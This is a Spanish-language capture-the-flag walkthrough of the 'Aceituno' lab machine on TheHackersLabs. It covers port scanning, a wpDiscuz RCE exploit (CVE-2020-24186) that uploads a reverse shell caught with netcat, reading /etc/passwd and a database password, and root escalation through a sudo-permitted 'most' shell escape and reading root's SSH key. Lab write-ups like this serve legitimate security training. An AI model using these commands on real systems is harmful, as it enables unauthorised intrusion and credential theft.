Aceituno es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Avanzado.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.171
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.171 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 21:17 CEST Initiating ARP Ping Scan at 21:17 Scanning 192.168.0.171 [1 port] Completed ARP Ping Scan at 21:17, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 21:17 Scanning 192.168.0.171 [65535 ports] Discovered open port 443/tcp on 192.168.0.171 Discovered open port 80/tcp on 192.168.0.171 Discovered open port 22/tcp on 192.168.0.171 Discovered open port 3306/tcp on 192.168.0.171 Completed SYN Stealth Scan at 21:17, 1.47s elapsed (65535 total ports) Nmap scan report for 192.168.0.171 Host is up, received arp-response (0.00013s latency). Scanned at 2024-04-28 21:17:29 CEST for 1s Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 443/tcp open https syn-ack ttl 64 3306/tcp open mysql syn-ack ttl 64 MAC Address: 08:00:27:DA:14:AE (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.69 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80,3306,443 192.168.0.171 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 21:17 CEST Nmap scan report for aceituno.thl (192.168.0.171) Host is up (0.00050s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 0f:7d:a0:9a:ad:8f:f6:85:fc:69:f4:43:53:72:3b:b1 (ECDSA) |_ 256 0a:02:48:06:90:21:90:15:e6:7d:09:83:63:a2:bd:19 (ED25519) 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-generator: WordPress 6.5.2 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-server-header: Apache/2.4.59 (Debian) 443/tcp open http Apache httpd 2.4.59 |_http-server-header: Apache/2.4.59 (Debian) |_http-title: Apache2 Debian Default Page: It works 3306/tcp open mysql MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.11.6-MariaDB-0+deb12u1 | Thread ID: 16012 | Capabilities flags: 63486 | Some Capabilities: IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, Speaks41ProtocolOld, SupportsTransactions, DontAllowDatabaseTableColumn, Support41Auth, InteractiveClient, SupportsCompression, ConnectWithDatabase, FoundRows, ODBCClient, Speaks41ProtocolNew, SupportsLoadDataLocal, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: Wbha/c*AL7pNs{.qqas? |_ Auth Plugin Name: mysql_native_password MAC Address: 08:00:27:DA:14:AE (Oracle VirtualBox virtual NIC) Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds |
Cuando entramos en la web, vemos que nada carga y si hacemos hovering sobre un enlace, el problema es que tiene un virtualhost configurado, así que lo pondremos en nuestro /etc/hosts
|
1 2 3 |
┌──(kali㉿kali)-[~] └─$ cat /etc/hosts | grep aceit 192.168.0.171 aceituno.thl |
Ahora si vemos la web correctamente

Y nos percatamos que entre otras cosas, tiene wordpress

Mientras dejamos pasando un wp-scan, vamos a mirar a mano que plugins tiene y en la pagina de «Hola Mundo», vemos lo siguiente:
![]()
El cual si miramos que exploits tiene, vemos en siguiente resultado, así que lo descargamos y seguimos las instrucciones para lanzarlo:
|
1 2 3 4 5 6 7 8 |
┌──(kali㉿kali)-[~/CVE-2020-24186] └─$ echo "http://aceituno.thl" > site.txt ┌──(kali㉿kali)-[~/CVE-2020-24186-wpDiscuz-7.0.4-RCE/CVE-2020-24186] ┌──(kali㉿kali)-[~/CVE-2020-24186-wpDiscuz-7.0.4-RCE/CVE-2020-24186] └─$ bash CVE-2020-24186 site.txt [+] http://aceituno.thl vuln [+] http://aceituno.thl/wp-content/uploads/2024/04/u-1714329755.6745.php uploaded |
Nos ponemos en estucha y vamos a la URL donde se ha subido la reverse shell.
|
1 2 3 4 5 6 7 8 9 10 |
┌──(root㉿kali)-[/home/kali/CVE-2020-24186] └─# nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.160] from (UNKNOWN) [192.168.0.171] 34654 Linux Aceituno 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64 GNU/Linux 20:43:33 up 33 min, 0 user, load average: 0.00, 0.95, 6.77 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Vemos que usuarios tiene la maquina con shell
|
1 2 3 |
www-data@Aceituno:/var/www/html/wordpress$ cat /etc/passwd | grep sh$ root:x:0:0:root:/root:/bin/bash aceituno:x:1000:1000:aceituno,,,:/home/aceituno:/bin/bash |
Y directamente vemos el wp-config.php de wordpress para ver si se reutiliza la contraseña para el usuario o en la bbdd hay algo que nos ayude.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
www-data@Aceituno:/var/www/html/wordpress$ mysql -uwp_user -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 16002 Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> use wordpress; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [wordpress]> show tables; +-----------------------------+ | Tables_in_wordpress | +-----------------------------+ | pelopicopata | | wp_commentmeta | | wp_comments | | wp_gwolle_gb_entries | | wp_gwolle_gb_log | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | | wp_wc_avatars_cache | | wp_wc_comments_subscription | | wp_wc_feedback_forms | | wp_wc_follow_users | | wp_wc_phrases | | wp_wc_users_rated | | wp_wc_users_voted | +-----------------------------+ 22 rows in set (0.000 sec) |
El hash que hay en wp_users no nos vale para nada, pero si nos damos cuenta existe una tabla que no es acorde a wordpress, que es pelopicopata , asi que miramos que hay en ella
|
1 2 3 4 5 6 7 |
MariaDB [wordpress]> select * from pelopicopata; +----------+------------------+ | usuario | contrase�a | +----------+------------------+ | aceituno | ElSe�orDeLaNoche | +----------+------------------+ 1 row in set (0.000 sec) |
No vemos bien la contraseña por la codificación pero podemos saber de que palabra se trata.
Probamos esa contraseña para el usuario aceituno y estamos dentro.
|
1 2 3 |
www-data@Aceituno:/var/www/html/wordpress$ su aceituno Password: aceituno@Aceituno:/var/www/html/wordpress$ |
Miramos si tenemos algún privilegio de sudo y vemos que si
|
1 2 3 4 5 6 |
aceituno@Aceituno:/var/www/html/wordpress$ sudo -l Matching Defaults entries for aceituno on Aceituno: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User aceituno may run the following commands on Aceituno: (root) NOPASSWD: /usr/bin/most |
Para explotarlo, para ello usaremos la siguiente sentencia para leer
|
1 |
aceituno@Aceituno:/var/www/html/wordpress$ sudo /usr/bin/most /root/.ssh/id_rsa |
Pero si queremos directamente escalar a root
|
1 2 3 4 5 |
aceituno@Aceituno:/var/www/html/wordpress$ sudo /usr/bin/most CUALQUIER-ARCHIVO shift + w + e !/bin/bash |
Nos convertimos en root y ya podemos ver las flags
|
1 2 3 4 5 6 7 8 |
root@Aceituno:~# id;hostname;ls /root/ /home/aceituno/ uid=0(root) gid=0(root) grupos=0(root) Aceituno /home/aceituno/: user.txt /root/: root.txt |
Hasta aquí la maquina Aceituno de la plataforma Thehackerslabs








